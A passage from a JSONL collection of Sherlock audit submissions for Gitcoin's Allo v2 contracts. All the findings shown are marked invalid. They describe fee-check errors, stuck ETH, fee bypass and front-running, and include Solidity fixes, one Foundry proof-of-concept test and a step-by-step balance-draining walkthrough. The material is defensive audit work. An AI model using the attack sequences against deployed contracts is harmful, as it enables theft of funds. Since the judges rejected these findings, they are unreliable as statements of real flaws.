through registration\n if (Status(_getUintRecipientStatus(recipientId)) != Status.Accepted) {\n revert RECIPIENT_ERROR(recipientId);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/648.md"}} +{"title":"The registry address can be changed on `Allo` but not on Strategies.","severity":"info","body":"Tart Citron Platypus\n\nmedium\n\n# The registry address can be changed on `Allo` but not on Strategies.\n\n## Vulnerability Detail\n\nOnce the registry address on Allo is updated, all the existing strategies will query `_isProfileMember` on an old registry contract. This will lead to inconsistency and unauthorized users will be able to access privileged methods. It may also result in existing users losing control over their profiles.\n\n## Impact\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L213-L215\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L206-L221\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L265-L303\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L456-L459\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nChange to:\n\n```solidity\nfunction _isProfileMember(address _anchor, address _sender) internal view returns (bool) {\n IRegistry _registry = allo.getRegistry();\n IRegistry.Profile memory profile = _registry.getProfileByAnchor(_anchor);\n return _registry.isOwnerOrMemberOfProfile(profile.id, _sender);\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/646.md"}} +{"title":"DOS","severity":"info","body":"Stable Charcoal Bison\n\nhigh\n\n# DOS\n\nUsers who will send the exact amount of (fee + amount) will face the DOS issue and will not be able to create pools in the `Allo` contract.\n\n## Vulnerability Detail\n\nThe `createPool` and `createPoolWithCustomStrategy` functions of the `Allo` contract allow users to create a new pool and internally these functions call the internal `_createPool` function.\n\n```solidity\n// Returns the created pool ID\nreturn\n _createPool(\n _profileId,\n IStrategy(Clone.createClone(_strategy, _nonces[msg.sender]++)),\n _initStrategyData,\n _token,\n _amount,\n _metadata,\n _managers\n );\n```\n\nThe `_createPool` function creates the pool, assigns the roles, initializes the strategy and then checks whether the `baseFee` is greater than `0` or not.\n\nIf it is greater than `0` then it checks one of the two conditions:\n\n1. If the `_token` is a `NATIVE` token and the `baseFee + _amount` is greater than or equal to `msg.value` then it should revert.\n\nOR\n\n2. If the `_token` is **not** `NATIVE` and `baseFee` is greater than or equal to `msg.value` then it should revert.\n\n### Bug\n\nBut here is the issue, these conditions `reverts` when the `msg.value` is `equal`.\n\nInstead, these should `revert` when `msg.value` is less than `baseFee + amount` (in the case when `_token` == `NATIVE`) or `baseFee` (in the case when `_token` != `NATIVE`).\n\n### Sponsor Confirmed\n\n\"Screenshot\n\n## Code Snippet\n\n```solidity\nif (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if (\n (_token == NATIVE && (baseFee + _amount >= msg.value)) ||\n (_token != NATIVE && baseFee >= msg.value)\n ) {\n revert NOT_ENOUGH_FUNDS();\n }\n\n _transferAmount(NATIVE, treasury, baseFee);\n\n emit BaseFeePaid(poolId, baseFee);\n}\n```\n\n[Allo.sol - Lines 469 - 478](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L469-L478)\n\n## Impact\n\nIf we take the rough estimation then only 10% to 20% of users can deposit more than the required amount, all the others will send the exact amount of (fee + amount) for the pool. All those users will face the DOS issue and will not be able to create pools.\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nThe conditions should only revert when the `msg.value` is less than required (fee + amount).\n\n```diff\nif (\n- (_token == NATIVE && (baseFee + _amount >= msg.value)) ||\n+ (_token == NATIVE && (baseFee + _amount > msg.value)) ||\n- (_token != NATIVE && baseFee >= msg.value)\n+ (_token != NATIVE && baseFee > msg.value)\n) {\n revert NOT_ENOUGH_FUNDS();\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/645.md"}} +{"title":"Excess `msg.value` should be refunded when `_createPool()` with `_token == NATIVE`.","severity":"info","body":"Tart Citron Platypus\n\nmedium\n\n# Excess `msg.value` should be refunded when `_createPool()` with `_token == NATIVE`.\n\n## Vulnerability Detail\n\nOnly the `amount` will be transferred to `_strategy`. The excess amount (i.e., `msg.value - amount`) will be left on the `Allo` contract, which can later be used by other users.\n\n## Impact\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502-L520\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L70-L81\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nEither strictly require the `msg.value == amount + baseFee` or refund the excess amount.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/644.md"}} +{"title":"`Allo._createPool()` with `baseFee == 0` allows paying from the Allo contract's balance","severity":"info","body":"Tart Citron Platypus\n\nmedium\n\n# `Allo._createPool()` with `baseFee == 0` allows paying from the Allo contract's balance\n\n## Vulnerability Detail\n\nWhen `baseFee == 0`, it should also require `msg.value >= baseFee + _amount`, to prevent paying from the Allo contract's balance. Otherwise, when `baseFee == 0`, it is possible to use the Allo contract's balance in `_fundPool()` at L481.\n\nGiven:\n- `baseFee`: 0\n- `percentFee`: 0.1e18 (i.e., 10%)\n\nWhen:\n- createPool{value: 90e18}({_token: NATIVE, _amount: 100e18, ...})\n - Allo contract receives 90e18 NATIVE tokens from msg.sender\n - Skips the if statement at line 469 because baseFee is 0 and not greater than 0\n - Calls `_fundPool({ _amount: 100e18 })` at line 481\n - amountAfterFee = _amount = 100e18 at line 504\n - _token = NATIVE at line 507\n - feeAmount = `(_amount * percentFee) / getFeeDenominator() = 100e18 * 0.1e18 / 1e18 = 10e18` at line 510\n - `amountAfterFee -= feeAmount`, so amountAfterFee changes from 100e18 to 90e18 at line 511\n - Calls `_transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}))` which is equivalent to `_transferAmountFrom(NATIVE, TransferData({from: msg.sender, to: treasury, amount: 10e18}))` at line 513\n - amount = _transferData.amount = 10e18 at line 71 in Transfer.sol\n - msg.value < amount, i.e., 90e18 < 10e18 is false, so it does not revert at line 74 in Transfer.sol\n - SafeTransferLib.safeTransferETH(treasury, 10e18) transfers 10e18 from the Allo contract to treasury at line 76 in Transfer.sol\n - Calls `_transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}))` which is equivalent to `_transferAmountFrom(NATIVE, TransferData({from: msg.sender, to: address(_strategy), amount: 90e18}))` at line 516\n - amount = _transferData.amount = 90e18 at line 71 in Transfer.sol\n - msg.value < amount, i.e., 90e18 < 90e18 is false, so it does not revert at line 74 in Transfer.sol\n - `SafeTransferLib.safeTransferETH(_strategy, 90e18)` transfers 90e18 from the Allo contract to _strategy at line 76 in Transfer.sol\n - `_strategy.increasePoolAmount(amountAfterFee)` is called, which is equivalent to _strategy.increasePoolAmount(90e18) at line 517\n - poolAmount += _amount, i.e., poolAmount += 90e18 at line 155 in BaseStrategy.sol\n\nIn the end,\n- msg.sender pays 90e18 NATIVE and his pool.strategy also receives 90e18 NATIVE\n- The Allo contract receives a total of 90e18 NATIVE and pays out 10e18 + 90e18 = 100e18 NATIVE\n\n## Impact\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L415-L485\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502-L520\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L70-L81\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L153-L157\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nRequire `msg.value >= baseFee + _amount` when `token == NATIVE` regardless of whether base is 0:\n\n```solidity\n // To prevent paying the fee from the Allo contract's balance\n // If _token is NATIVE, then msg.value should be >= than baseFee + _amount.\n // If _token is not NATIVE, then msg.value should be >= than baseFee.\n if (_token == NATIVE) {\n if (msg.value < baseFee + _amount) {\n revert NOT_ENOUGH_FUNDS();\n }\n } else {\n if (msg.value < baseFee) {\n revert NOT_ENOUGH_FUNDS();\n }\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/643.md"}} +{"title":"`Allo._createPool()` will `revert NOT_ENOUGH_FUNDS()` unexpectedly when `msg.value == baseFee + _amount`.","severity":"info","body":"Tart Citron Platypus\n\nmedium\n\n# `Allo._createPool()` will `revert NOT_ENOUGH_FUNDS()` unexpectedly when `msg.value == baseFee + _amount`.\n\n## Vulnerability Detail\n\n```solidity\n// To prevent paying the baseFee from the Allo contract's balance\n// If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n// If _token is not NATIVE, then baseFee should be >= than msg.value.\nif ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n}\n```\n\n1. In the case of `==`, it should not `revert NOT_ENOUGH_FUNDS()`.\n2. In the relevant comments, the positions/directions of `msg.value` and `baseFee` are written incorrectly.\n\n## Impact\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L415-L485\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider changing to:\n\n```solidity\n// To prevent paying the fee from the Allo contract's balance\n// If _token is NATIVE, then msg.value should be >= than baseFee + _amount.\n// If _token is not NATIVE, then msg.value should be >= than baseFee.\nif (_token == NATIVE) {\n if (msg.value < baseFee + _amount) {\n revert NOT_ENOUGH_FUNDS();\n }\n} else {\n if (msg.value < baseFee) {\n revert NOT_ENOUGH_FUNDS();\n }\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/642.md"}} +{"title":"wrong check when checking the base fee","severity":"info","body":"Short Coffee Crab\n\nhigh\n\n# wrong check when checking the base fee\nin **Allo.sol** when creating a pool if the base fee is check wrongly which will lead to revert even if the creator paid the exact base fee amount\n## Vulnerability Detail\nin **Allo.so**l when creating a pool if the base fee is assigned you need to pay the base fee when creating a pool and in the internal function **_createPool** there is a check which verify if the pool creator has sent enough base fee but when checking the code uses **>=** which will revert even if the pool creator have sent only the required **basefee** which means the user have to sent more than the base fee in order to create a pool\n` if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n`\n## Impact\nunnecessary cost for pool creator \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473\n\n## Tool used\n\nManual Review\n\n## Recommendation\nonly revert if msg.value is less than base fee","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/641.md"}} +{"title":"User cannot create a pool with a token that is not NATIVE due to incorrect parameters","severity":"info","body":"Genuine Mauve Rhino\n\nhigh\n\n# User cannot create a pool with a token that is not NATIVE due to incorrect parameters\n`baseFee` is a flat fee that Allo charges for all pools on creation. But while sending the base fee to the treasury, incorrect token address is passed in `_transferAmount` thus failing to allow users to create pool that do not own eth. \n\n## Vulnerability Detail\n\n`_createPool` is an internal function which is called by both `createPoolWithCustomStrategy` & `createPool`. During the creation of a pool a base fee is set which can be later updated by the owner of the contract. The base fee is sent to the treasury & appropriate checks are in place validating whether the token address is NATIVE or not & whether the user holds sufficient amount.\n\n```solidity\nFile: Allo.sol\n\n469 if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee); /// @audit\n emit BaseFeePaid(poolId, baseFee);\n }\n```\nThe problem is when `_transferAmount` is called to send the required base fee to the treasury. Instead of entering `_token` (the token address), `NATIVE` is passed as a parameter.\n\n*`_transferAmount` transfers an amount of a token to an address.* \n\n```solidity\nFile: Transfer.sol\n\n function _transferAmount(address _token, address _to, uint256 _amount) internal {\n if (_token == NATIVE) {\n SafeTransferLib.safeTransferETH(_to, _amount);\n } else {\n SafeTransferLib.safeTransfer(_token, _to, _amount);\n }\n }\n```\nBut since `NATIVE` is passed instead of `_token`, the function always executes the first IF condition which only transfers ETH. Thus if the token address is not the eth address, then the call will always fail.\n\n```solidity\nFile: solady/src/utils/SafeTransferLib.sol\n\n /// @dev Sends `amount` (in wei) ETH to `to`.\n function safeTransferETH(address to, uint256 amount) internal {\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(call(gas(), to, amount, gas(), 0x00, gas(), 0x00)) {\n mstore(0x00, 0xb12d13eb) // `ETHTransferFailed()`.\n revert(0x1c, 0x04)\n }\n }\n }\n```\n## Impact\nUser with or without strategy won't be able to create a pool if they don't hold any eth. \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L476\n\n## Tool used\nManual Review\n\n## Recommendation\nPass in `_token` instead of `NATIVE`.\n\n```solidity\n- _transferAmount(NATIVE, treasury, baseFee);\n+ _transferAmount(_token, treasury, baseFee);\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/640.md"}} +{"title":"`batchAllocate` doesn't work with native tokens and `fundPool` doesn't help","severity":"info","body":"Smooth Sandstone Caterpillar\n\nmedium\n\n# `batchAllocate` doesn't work with native tokens and `fundPool` doesn't help\n\nWe can use the `allocate` method with a native token. But when using `batchAllocate` it will revert as `AMOUNT_MISMATCH()` or `INVALID`. \n\n## Vulnerability Detail\n\nThe `batchAllocate` cannot be used with a native token because is missing the `payable` keyword in the method declaration. Also the logic of a strategy `allocate` method is expecting the exact amount to be passed when used with a native token.\n\nThe comment https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L359 says to use `fundPool` but in this method we are restricted to allocate only the pool token in contrast with allocate where we can use any token that is allowed/whitelisted.\n\n## Impact\nUsers cannot use `batchAllocate` with native tokens\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L362-L375\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nBy changing the following code the batch allocating will work also with native tokens\n\nFor the following code to work for every strategy implement `_allocate` that will return the amount and token allocated. Also check that the passed `msg.value` is at least the amount that is parsed from the `data` parameter.\n\n```diff\n-function batchAllocate(uint256[] calldata _poolIds, bytes[] memory _datas) external nonReentrant {\n+function batchAllocate(uint256[] calldata _poolIds, bytes[] memory _datas) external payable nonReentrant { \n uint256 numPools = _poolIds.length;\n\n // Reverts if the length of _poolIds does not match the length of _datas with 'MISMATCH()' error\n if (numPools != _datas.length) revert MISMATCH();\n\n // Loop through the _poolIds & _datas and call the internal _allocate() function\n+ uint256 nativeValue = msg.value;\n for (uint256 i; i < numPools;) {\n- _allocate(_poolIds[i], _datas[i]);\n+ (address token, uint256 allocated) = _allocate{value:nativeValue}(_poolIds[i], _datas[i]);\n+ if (token == NATIVE) {\n+ nativeValue -= allocated\n+ }\n unchecked {\n ++i;\n }\n }\n }\n\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/637.md"}} +{"title":"when funding the pool there can be a zero transfer of fee value","severity":"info","body":"Smooth Sandstone Caterpillar\n\nmedium\n\n# when funding the pool there can be a zero transfer of fee value\n\nWhen calculating the possible fee if the token has less the 18 decimals or fee is set too low the calculated fee value can be zero.\nThis can potentially revert if used with a token that doesn't permit zero value transfer. \n\n## Vulnerability Detail\n\nAfter the calculation on this line\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L510\n\nbefore transfering the fee there is no check that the `feeAmount` is bigger then zero. If the `feePercent` is less then 10^12\n\n\n## Impact\n\nIf the used token is UDSC that has 6 decimals and the used value is low if `feePercent` is little less then 10^18 we get a 0 for the `feeAmount`\n\nIf used with a [zero transfer token](https://github.com/d-xo/weird-erc20#revert-on-zero-value-transfers) in case of a zero fee this will also revert.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L509-L514\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nCheck for a zero `feeAmount` before doing the transfer\n\n```diff\nif (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n+\n+ if (feeAmount > 0) {\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n+ } \n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/636.md"}} +{"title":"An attacker/MEV bot can DOS creating pool in `Allo.sol`","severity":"info","body":"Bubbly Glossy Unicorn\n\nhigh\n\n# An attacker/MEV bot can DOS creating pool in `Allo.sol`\nAttacker/MEV can front run the `createPool` function to deploy the `strategy` contract to cause DOS for the user who wanted to create the pool\n## Vulnerability Detail\nThe strategy contract creation process is defined as follows: `IStrategy(Clone.createClone(_strategy, _nonces[msg.sender]++))`. This process invokes the `ClonesUpgradeable.cloneDeterministic(_contract, salt)` function, which employs the create2 opcode and a designated `salt` value to facilitate the deterministic deployment of a clone contract. It is crucial to note that utilizing the same `implementation` and `salt` combination multiple times will result in a transaction reversal, as clones cannot be deployed repeatedly at identical addresses. \n\nHowever, a potential security vulnerability emerges when an attacker opportunistically front-runs a user's transaction with the intent to create a strategy contract using the same `implementation` and `salt`. Consequently, when the user initiates the transaction to deploy the strategy contract, it will encounter a revert operation. The `salt` value in this context is computed as follows: `bytes32 salt = keccak256(abi.encodePacked(msg.sender, _nonce))`. It is essential to recognize that an attacker can readily replicate this process to supply the function with an identical `salt` value, thereby protocol will be DOS'ed.\n## Impact\nUsers can't able to create pools\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Clone.sol#L30-L35\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L190C13-L190C75\n## Tool used\n\nManual Review\n\n## Recommendation\n\nTo enhance the security of the deployment process and mitigate the risk of front-running, you can implement a mechanism that pre-predicts the address of the strategy contract using the `predictDeterministicAddress` function. If the contract is already deployed at that predicted address, it returns the existing address; otherwise, it deploys the contract and returns the newly created address.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/633.md"}} +{"title":"Users excess ETH sent to the pool will constantly be added to the Allo contract and get stuck","severity":"info","body":"Alert Bronze Seal\n\nmedium\n\n# Users excess ETH sent to the pool will constantly be added to the Allo contract and get stuck\n\nAny time a user creates or funds an existing pool, the excess ETH will be added to the Allo contract. This CANNOT be mitigated by calling [`recoverFunds`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L283) because that function takes all of ETH in the contract and sends it to the `_recipient`. While the users could create or fund multiple pools before anyone can call `recoverFunds` for one user.\n\n## Vulnerability Detail\n\nLet's look at the creation of a pool.\n\n
\nTheoretical explanation\n
\n\n- We call [`_createPool`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L415) from either external functions `createPool` or `createPoolWithCustomStrategy`, with amount to fund pool `_amount = 5 ether`.\n- If `baseFee > 0` we MUST pay a base fee with ETH, let's say `baseFee = 1 ether`.\n - due to this [if statement](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473) we must send more ETH than we need to pay for `baseFee` and `_amount` we want to fund the pool with. So we send 1 more ether `msg.value = 7 ether`.\n - We pay the `baseFee` of 1 ether to the `treasury` via `_transferAmount`. Now `msg.value = 6 ether`.\n- We pass the next `if (_amount > 0)` since we want to fund the pool with `_amount = 5 ether`, and it calls [`_fundPool`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502).\n- In `_fundPool` we can pay a `percentFee` if `percentFee > 0`, but we don't have to if it's 0 (in coded POC we pay `percentFee`).\n - Let's assume `percentFee = 0`. The function then calls `_transferAmountFrom` to send `_amountAfterFee` (which in this case is `_amount = 5 ether`) to `_strategy`.\n- We are left with `msg.value = 1 ether` that gets stuck in the `Allo` contract\n\n
\n\n
\nCoded POC explanation\n
\n\n- To test add in `Allo.t.sol` and use command `forge t --mt testExcessEth -vv`\n\n```solidity\nfunction testExcessEth() public {\n uint256 baseFee = 1 ether;\n\n allo().updateBaseFee(baseFee);\n\n vm.deal(address(pool_admin()), 7 ether);\n // admin ether balance before = 7 ether\n assertEq(address(pool_admin()).balance, 7 ether); // pass\n\n // create a pool and fund it with 5 ether, while sending 7 ether to pay for fees\n vm.prank(pool_admin());\n allo().createPoolWithCustomStrategy{value: 7 ether}(\n poolProfile_id(), strategy, \"0x\", NATIVE, 5 ether, metadata, pool_managers()\n );\n\n // total in treasury = 1 ether from baseFee + 0.05 ether from percentFee(1% = 1e16) = 1.05 ether\n assertEq(allo_treasury().balance, 1.05 ether); // pass\n\n // in strategy = 5 ether - percentFee(0.05 ether) = 4.95 ether\n assertEq(strategy.balance, 4.95 ether); // pass\n\n // admin ether balance after should be 1 ether but its 0\n assertEq(address(pool_admin()).balance, 0); // pass\n\n // Allo should have 0 ether, but has 1 ether from the pool admin\n assertEq(address(allo()).balance, 1 ether); // pass\n}\n```\n\n
\n\n## Impact\n\nUsers ether will be stuck and unrecoverable.\n\n## Code Snippet\n\n- [Fund pool function](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502-L520)\n- [Transfer library](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L66-L94)\n\n## Tool used\n\nManual review\n\n## Recommendation\n\nImplement a way to refund users excess ETH sent to the pool and test it thoroughly.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/632.md"}} +{"title":"msg.value is not being sent to strategy in registerRecipeint function","severity":"info","body":"Faithful Carrot Okapi\n\nmedium\n\n# msg.value is not being sent to strategy in registerRecipeint function\n\n## Vulnerability Detail\n\n## Impact\n\n## Code Snippet\n\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L167](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L167)\n\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L303](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L303)\n\n## Tool used\n\nManual Review\n\n## Recommendation","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/631.md"}} +{"title":"The calculation of feeAmount is not reasonable.","severity":"info","body":"Feisty Lavender Carp\n\nmedium\n\n# The calculation of feeAmount is not reasonable.\nThe calculation of feeAmount is not reasonable.\n\n## Vulnerability Detail\nThe more funds a user provides to the pool, the higher the feeAmount will be. Conversely, providing a small amount of funds may result in a very small or even close to zero feeAmount.\n\n## Impact\nIt is unfair to users who provide a large amount of funds compared to those who provide a small amount of funds.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502-L520\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\nSet a minimum and maximum value for feeAmount.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/630.md"}} +{"title":"percentFee can be bypassed in fundPool function in case of NATIVE token","severity":"info","body":"Faithful Carrot Okapi\n\nmedium\n\n# percentFee can be bypassed in fundPool function in case of NATIVE token\nIn case of native ETH pools call to `fundPool` will succeed even if the pool owner didn't sent `feeAmount`.\n\n## Vulnerability Detail\n\n1. In `fundPool` function of `Allo` there are no checks to make sure that the caller sent enough ether which covers both `feeAmount` and `amountAfterFee` in case of native ETH.\n\nConsider below example:\n1. Bob wants to add 10 ether to the pool.\n3. percentFee is 20%.\n4. so Bob calls `fundPool` function passing `10 ether` as amount parameter but only passes 8 ether.\n5. As fee is 20% `transferAmountFrom` is called with 2 ether when sending eth to treasury as \n `msg.value(8 ether) >= 2 ether` check will pass.\n6. And `transferAmountFrom` will be called with `8 ether(80%)` when transferring funds to strategy and check in `transferAmountFrom` will also pass here because `msg.value(8 ether) >= 8 ether`.\n\n## Impact\n`percentFee` can be bypassed in case of native ETH as `percentFee` will be paid from allo eth balance .\n\n## Code Snippet\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502-L520](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502-L520)\n\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L74](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L74)\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n```diff\n@@ -506,6 +517,10 @@ contract Allo is IAllo, Native, Transfer, Initializable, Ownable, AccessControl,\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n \n+ if(_token == NATIVE) {\n+ if(msg.value < _amount) revert NOT_ENOUGH_FUNDS();\n+ }\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/628.md"}} +{"title":"`_afterRegisterRecipient` will never be called because the function calling it returns on line before","severity":"info","body":"Alert Bronze Seal\n\nmedium\n\n# `_afterRegisterRecipient` will never be called because the function calling it returns on line before\n\n`_afterRegisterRecipient` will never be called because the function calling it returns `recipientId` on line before.\n\n## Vulnerability Detail\n\n`registerRecipient` is first called in [`Allo.sol`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L301-L304) which calls `registerRecipient` in [`BaseStrategy.sol`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L165-L175) where the function first executes the hook `_beforeRegisterRecipient`, then calls `_registerRecipient` from a strategy and returns `recipientId`. Because the function `BaseStrategy.registerRecipient` is using [`returns (address recipientId)`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L170) it will return `recipientId` and not execute the hook `_afterRegisterRecipient`.\n\n## Impact\n\nAny custom strategy that utilizes `_afterRegisterRecipient` hook in their `registerRecipient` function will not properly execute.\nWhich could cause a plethora of different issues, depending on what `_afterRegisterRecipient` hook does.\n\n## Code Snippet\n\n\n\n```solidity\n function registerRecipient(bytes memory _data, address _sender)\n external\n payable\n onlyAllo\n onlyInitialized\n returns (address recipientId)\n {\n _beforeRegisterRecipient(_data, _sender);\n recipientId = _registerRecipient(_data, _sender);\n 